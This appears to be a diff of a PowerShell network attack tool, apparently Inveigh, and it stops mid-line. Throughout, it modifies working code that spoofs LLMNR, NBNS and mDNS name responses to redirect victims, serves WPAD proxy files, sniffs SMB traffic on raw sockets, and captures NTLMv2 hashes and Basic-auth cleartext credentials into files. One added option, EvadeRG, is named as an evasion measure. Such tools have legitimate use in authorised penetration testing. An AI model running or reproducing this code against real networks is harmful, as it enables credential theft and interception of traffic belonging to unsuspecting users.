$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")) { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") > $null } else { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_username_full [not unique]") > $null } - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))) { - $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) > $null } - if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full") { - $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_username_full") > $null } } } + if($HTTP_NTLM_domain_string -and $HTTP_NTLM_user_string -and $HTTP_NTLM_host_string -and $HTTP_source_IP) + { + Invoke-SessionUpdate $HTTP_NTLM_domain_string $HTTP_NTLM_user_string $HTTP_NTLM_host_string $HTTP_source_IP + } + if ($inveigh.IP_capture_list -notcontains $HTTP_source_IP -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $HTTP_source_IP -ne $IP) { - $inveigh.IP_capture_list.Add($HTTP_source_IP) + $inveigh.IP_capture_list.Add($HTTP_source_IP) > $null } $HTTP_response_status_code = 0x32,0x30,0x30 $HTTP_response_phrase = 0x4f,0x4b $HTTP_client_close = $true - $NTLM_challenge = "" + $NTLM_challenge = $null if($proxy_listener) { @@ -2011,19 +3186,13 @@ $HTTP_scriptblock = $HTTP_header_authorization = $HTTP_header_authorization -replace 'Basic ','' $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($HTTP_header_authorization)) $HTTP_client_close = $true - $inveigh.cleartext_file_queue.Add($cleartext_credentials) - $inveigh.cleartext_list.Add($cleartext_credentials) - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from $HTTP_source_IP") + $inveigh.cleartext_file_queue.Add($cleartext_credentials) > $null + $inveigh.cleartext_list.Add($cleartext_credentials) > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from $HTTP_source_IP") > $null if($inveigh.file_output) { - $inveigh.console_queue.Add("$HTTP_type Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP") + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) > $null } } @@ -2035,7 +3204,7 @@ $HTTP_scriptblock = if($HTTPDir -and $HTTPDefaultEXE -and $HTTP_request_raw_url -like '*.exe' -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultEXE)) -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url))) { [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultEXE)) - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/exe") + $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/exe") } elseif($HTTPDir) { @@ -2051,7 +3220,7 @@ $HTTP_scriptblock = elseif($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat') { [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPADResponse) - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/x-ns-proxy-autoconfig") } else { @@ -2074,7 +3243,7 @@ $HTTP_scriptblock = if($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) { $HTTP_message = $WPADResponse - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/x-ns-proxy-autoconfig") } elseif($HTTPResponse) { @@ -2082,7 +3251,7 @@ $HTTP_scriptblock = if($HTTPContentType) { - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTPContentType) + $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: $HTTPContentType") } } @@ -2098,7 +3267,6 @@ $HTTP_scriptblock = $HTTP_timestamp = Get-Date -format r $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message_bytes.Length) if(($HTTPAuth -like 'NTLM*' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) { @@ -2108,14 +3276,21 @@ $HTTP_scriptblock = { $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") } - + $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary - $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) + $packet_HTTPResponse.Add("HTTPResponse_ResponseVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)) + + if($HTTP_connection_header_close) + { + $HTTP_connection_header = [System.Text.Encoding]::UTF8.GetBytes("Connection: close") + $packet_HTTPResponse.Add("HTTPResponse_Connection",$HTTP_connection_header + [Byte[]](0x0d,0x0a)) + } + + $packet_HTTPResponse.Add("HTTPResponse_Server",[System.Text.Encoding]::UTF8.GetBytes("Server: Microsoft-HTTPAPI/2.0") + [Byte[]](0x0d,0x0a)) $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_ContentLength",[System.Text.Encoding]::UTF8.GetBytes("Content-Length: $($HTTP_message_bytes.Length)") + [Byte[]](0x0d,0x0a)) if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) { @@ -2146,7 +3321,6 @@ $HTTP_scriptblock = if($HTTP_client_close) { - $HTTP_reset_delay = $false if($proxy_listener) { @@ -2163,11 +3337,20 @@ $HTTP_scriptblock = else { - if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout) + if($HTTP_client_handle_old -eq $HTTP_client.Client.Handle) + { + $HTTP_reset++ + } + else + { + $HTTP_reset = 0 + } + + if($HTTP_data_available -or $HTTP_connection_header_close -or $HTTP_reset -gt 20) { $HTTP_client.Close() $HTTP_client_close = $true - $HTTP_reset_delay = $false + $HTTP_reset = 0 } else { @@ -2190,8 +3373,10 @@ $HTTP_scriptblock = # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer $sniffer_scriptblock = { - param ($IP,$LLMNR,$LLMNR_response_message,$LLMNRTTL,$mDNS,$mDNS_response_message,$mDNSTypes,$mDNSTTL,$NBNS,$NBNS_response_message,$NBNSTypes,$NBNSTTL,$SMB,$SpooferHostsIgnore,$SpooferHostsReply,$SpooferIP,$SpooferIPsIgnore,$SpooferIPsReply, - $SpooferLearning,$SpooferLearningDelay,$SpooferLearningInterval) + param ($EvadeRG,$IP,$LLMNR,$LLMNR_response_message,$LLMNRTTL,$mDNS,$mDNS_response_message,$mDNSTypes,$mDNSTTL, + $NBNS,$NBNS_response_message,$NBNSTTL,$NBNSTypes,$SMB,$SpooferHostsIgnore,$SpooferHostsReply, + $SpooferIP,$SpooferIPsIgnore,$SpooferIPsReply,$SpooferLearning,$SpooferLearningDelay, + $SpooferLearningInterval,$SpooferNonprintable,$SpooferThresholdHost,$SpooferThresholdNetwork) $sniffer_running = $true $byte_in = New-Object System.Byte[] 4 @@ -2211,19 +3396,8 @@ $sniffer_scriptblock = } catch { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting sniffer/spoofer") > $null $sniffer_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") - } - } $sniffer_socket.Bind($end_point) @@ -2250,7 +3424,7 @@ $sniffer_scriptblock = $binary_reader = New-Object System.IO.BinaryReader($memory_stream) $version_HL = $binary_reader.ReadByte() $binary_reader.ReadByte() > $null - $total_length = DataToUInt16 $binary_reader.ReadBytes(2) + $total_length = Convert-DataToUInt16 $binary_reader.ReadBytes(2) $binary_reader.ReadBytes(5) > $null $protocol_number = $binary_reader.ReadByte() $binary_reader.ReadBytes(2) > $null @@ -2265,13 +3439,12 @@ $sniffer_scriptblock = 6 { # TCP - $source_port = DataToUInt16 $binary_reader.ReadBytes(2) - $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) + $source_port = Convert-DataToUInt16 $binary_reader.ReadBytes(2) + $destination_port = Convert-DataToUInt16 $binary_reader.ReadBytes(2) $binary_reader.ReadBytes(8) > $null $TCP_header_length = [Int]"0x$(('{0:X}' -f $binary_reader.ReadByte())[0])" * 4 $binary_reader.ReadBytes(7) > $null $payload_bytes = $binary_reader.ReadBytes($total_length - ($header_length + $TCP_header_length)) - switch ($destination_port) { @@ -2280,15 +3453,16 @@ $sniffer_scriptblock = if($SMB -eq 'Y') { - if($NTLM_challenge -and $client_IP -eq $source_IP -and $client_port -eq $source_port) + if($payload_bytes) { - SMBNTLMResponse $payload_bytes + Get-SMBConnection $payload_bytes $IP $source_IP $source_port "139" + } + + if($inveigh.SMB_session_table."$source_IP`:$source_port") + { + Get-SMBNTLMResponse $payload_bytes "$source_IP`:$source_port" } - $client_IP = "" - $client_port = "" - $NTLM_challenge = "" - } } @@ -2298,14 +3472,15 @@ $sniffer_scriptblock = if($SMB -eq 'Y') { - if($NTLM_challenge -and $client_IP -eq $source_IP -and $client_port -eq $source_port) + if($payload_bytes) { - SMBNTLMResponse $payload_bytes + Get-SMBConnection $payload_bytes $IP $source_IP $source_port "445" } - $client_IP = "" - $client_port = "" - $NTLM_challenge = "" + if($inveigh.SMB_session_table."$source_IP`:$source_port") + { + Get-SMBNTLMResponse $payload_bytes "$source_IP`:$source_port" + } } @@ -2322,21 +3497,39 @@ $sniffer_scriptblock = if($SMB -eq 'Y') { - $client_IP = $destination_IP - $client_port = $destination_port - $NTLM_challenge = SMBNTLMChallenge $payload_bytes + + if($payload_bytes) + { + $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes + } + + if($NTLM_challenge) + { + $inveigh.SMB_session_table."$destination_IP`:$destination_port" = $NTLM_challenge + $NTLM_challenge = $null + } + } } - 445 + 445 { if($SMB -eq 'Y') - { - $client_IP = $destination_IP - $client_port = $destination_port - $NTLM_challenge = SMBNTLMChallenge $payload_bytes + { + + if($payload_bytes) + { + $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes + } + + if($NTLM_challenge -and $destination_IP -ne $source_IP) + { + $inveigh.SMB_session_table."$destination_IP`:$destination_port" = $NTLM_challenge + $NTLM_challenge = $null + } + } } @@ -2348,10 +3541,10 @@ $sniffer_scriptblock = 17 { # UDP $source_port = $binary_reader.ReadBytes(2) - $endpoint_source_port = DataToUInt16 ($source_port) - $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) + $endpoint_source_port = Convert-DataToUInt16 ($source_port) + $destination_port = Convert-DataToUInt16 $binary_reader.ReadBytes(2) $UDP_length = $binary_reader.ReadBytes(2) - $UDP_length_uint = DataToUInt16 ($UDP_length) + $UDP_length_uint = Convert-DataToUInt16 ($UDP_length) $binary_reader.ReadBytes(2) > $null $payload_bytes = $binary_reader.ReadBytes(($UDP_length_uint - 2) * 4) @@ -2365,6 +3558,7 @@ $sniffer_scriptblock = if(([System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -or [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01') -and [System.BitConverter]::ToString($payload_bytes[10..11]) -ne '00-01') { $UDP_length[0] += 12 + $NBNS_response_type = "[+]" $NBNS_response_data = $payload_bytes[13..$payload_bytes.Length] + $NBNS_TTL_bytes + @@ -2380,63 +3574,23 @@ $sniffer_scriptblock = $NBNS_response_data $NBNS_query_type = [System.BitConverter]::ToString($payload_bytes[43..44]) - - switch ($NBNS_query_type) - { - - '41-41' - { - $NBNS_query_type = '00' - } - - '41-44' - { - $NBNS_query_type = '03' - } - - '43-41' - { - $NBNS_query_type = '20' - } - - '42-4C' - { - $NBNS_query_type = '1B' - } - - '42-4D' - { - $NBNS_query_type = '1C' - } - - '42-4E' - { - $NBNS_query_type = '1D' - } - - '42-4F' - { - $NBNS_query_type = '1E' - } - - } - + $NBNS_query_type = Get-NBNSQueryType $NBNS_query_type $NBNS_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)]) $NBNS_query = $NBNS_query -replace "-00","" $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) - $NBNS_query_string_subtracted = "" - $NBNS_query_string = "" + $NBNS_query_string_subtracted = $null + $NBNS_query_string = $null $n = 0 do { $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) - $n += 1 + $n++ } - until($n -gt ($NBNS_query_string_encoded.Length - 1)) + until($n -ge ($NBNS_query_string_encoded.Length)) $n = 0 @@ -2445,7 +3599,23 @@ $sniffer_scriptblock = $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) $n += 2 } - until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) + until($n -ge ($NBNS_query_string_subtracted.Length) -or $NBNS_query_string.Length -eq 15) + + if($NBNS_query_string -notmatch '[^\x00-\x7F]+') + { + + if(!$inveigh.request_table.ContainsKey($NBNS_query_string)) + { + $inveigh.request_table.Add($NBNS_query_string.ToLower(),[Array]$source_IP.IPAddressToString) + $inveigh.request_table_updated = $true + } + else + { + $inveigh.request_table.$NBNS_query_string += $source_IP.IPAddressToString + $inveigh.request_table_updated = $true + } + + } $NBNS_request_ignore = $false @@ -2480,7 +3650,7 @@ $sniffer_scriptblock = $NBNS_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $NBNS_transaction_ID_bytes = $NBNS_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $NBNS_transaction_ID = $NBNS_transaction_ID -replace " ","-" - $NBNS_UDP_client = new-Object System.Net.Sockets.UdpClient 137 + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 $NBNS_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)] $NBNS_request_packet = $NBNS_transaction_ID_bytes + @@ -2492,28 +3662,17 @@ $sniffer_scriptblock = $NBNS_UDP_client.Connect($NBNS_learning_destination_endpoint) $NBNS_UDP_client.Send($NBNS_request_packet,$NBNS_request_packet.Length) $NBNS_UDP_client.Close() - $NBNS_learning_log.Add("$(Get-Date -format 's') $NBNS_transaction_ID $NBNS_query_string") - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) - } - + $NBNS_learning_log.Add("$(Get-Date -format s) $NBNS_transaction_ID $NBNS_query_string") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] NBNS request $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) > $null } } - + if(($inveigh.valid_host_list -notcontains $NBNS_query_string -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and ( !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and ( !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($NBNS_query_string.Trim() -ne '*') -and ( $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and ($source_IP -ne $IP) -and ( - $NBNSTypes -contains $NBNS_query_type)) + $NBNSTypes -contains $NBNS_query_type) -and ($EvadeRG -and $destination_IP.IPAddressToString -ne $IP) -and ($SpooferNonprintable -eq 'Y' -or ($SpooferNonprintable -eq 'N' -and $NBNS_query_string -notmatch '[^\x00-\x7F]+'))) { if($SpooferLearning -eq 'N' -or !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) @@ -2521,9 +3680,9 @@ $sniffer_scriptblock = $NBNS_send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) $NBNS_send_socket.SendBufferSize = 1024 $NBNS_destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port) - $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point) + $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point) > $null $NBNS_send_socket.Close() - $NBNS_response_message = "- response sent" + $NBNS_response_message = "[response sent]" } else { @@ -2533,74 +3692,22 @@ $sniffer_scriptblock = } else { - + if($source_IP -eq $IP -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) { $NBNS_request_ignore = $true } - elseif($NBNSTypes -notcontains $NBNS_query_type) - { - $NBNS_response_message = "- disabled NBNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $NBNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $NBNS_response_message = "- $source_IP is on ignore list" - } - elseif($NBNS_query_string.Trim() -eq '*') - { - $NBNS_response_message = "- NBSTAT request" - } - elseif($inveigh.valid_host_list -contains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is a valid host" - } - elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) - { - $NBNS_response_message = "- previous capture from $source_IP" - } - elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) - { - $NBNS_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" - } - elseif($source_IP -eq $IP -and !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) - { - $NBNS_response_message = "- local request" - } - else - { - $NBNS_response_message = "- something went wrong" - } - + + $NBNS_response_message = Get-SpooferResponseMessage -QueryString $NBNS_query_string -Type "NBNS" + $NBNS_response_type = $NBNS_response_message[0] + $NBNS_response_message = $NBNS_response_message[1] } } if(!$NBNS_request_ignore -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00') { - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - } - + $inveigh.output_queue.Add("$NBNS_response_type [$(Get-Date -format s)] NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") > $null } elseif($SpooferLearning -eq 'Y' -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01' -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) { @@ -2610,19 +3717,8 @@ $sniffer_scriptblock = if($inveigh.valid_host_list -notcontains $NBNS_query_string) { - $inveigh.valid_host_list.Add($NBNS_query_string) - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") - } - + $inveigh.valid_host_list.Add($NBNS_query_string) > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP [added to valid host list]") > $null } } @@ -2638,8 +3734,9 @@ $sniffer_scriptblock = { $UDP_length[0] += 10 $mDNS_query_payload_bytes = $payload_bytes[(12)..($payload_bytes.Length - 5)] - $mDNS_query_string = DataToString 1 $mDNS_query_payload_bytes[0] $mDNS_query_payload_bytes + $mDNS_query_string = Convert-DataToString 1 $mDNS_query_payload_bytes[0] $mDNS_query_payload_bytes $mDNS_query_string_full = $mDNS_query_string + ".local" + $mDNS_response_type = "[+]" $mDNS_response_data = $mDNS_query_payload_bytes + 0x00,0x01,0x00,0x01 + @@ -2665,61 +3762,28 @@ $sniffer_scriptblock = $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) $send_socket.SendBufferSize = 1024 $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) - $send_socket.SendTo($mDNS_response_packet,$destination_point) + $send_socket.SendTo($mDNS_response_packet,$destination_point) > $null $send_socket.Close() - $mDNS_response_message = "- response sent" + $mDNS_response_message = "[response sent]" } else { - - if($mDNSTypes -notcontains 'QU') - { - $mDNS_response_message = "- disabled mDNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $mDNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $mDNS_response_message = "- $source_IP is on ignore list" - } - else - { - $mDNS_response_message = "- not spoofed due to previous capture" - } - + $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QU" + $mDNS_response_type = $mDNS_response_message[0] + $mDNS_response_message = $mDNS_response_message[1] } } - $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - + $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QU) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null } elseif([System.BitConverter]::ToString($payload_bytes) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*') { $UDP_length[0] += 4 $mDNS_query_payload_bytes = $payload_bytes[12..($payload_bytes[12] + 12)] - $mDNS_query_string = DataToString 1 $mDNS_query_payload_bytes[0] $mDNS_query_payload_bytes + $mDNS_query_string = Convert-DataToString 1 $mDNS_query_payload_bytes[0] $mDNS_query_payload_bytes $mDNS_query_string_full = $mDNS_query_string + ".local" + $mDNS_response_type = "[+]" $mDNS_response_data = $mDNS_query_payload_bytes + 0x05,0x6c,0x6f,0x63,0x61,0x6c,0x00 + @@ -2744,57 +3808,23 @@ $sniffer_scriptblock = !$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($mDNSTypes -contains 'QM')) { - $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) + $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) $send_socket.SendBufferSize = 1024 $destination_point = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.251",5353) - $send_socket.SendTo($mDNS_response_packet,$destination_point) - $send_socket.Close() - $mDNS_response_message = "- response sent" - } - else - { - - if($mDNSTypes -notcontains 'QM') - { - $mDNS_response_message = "- 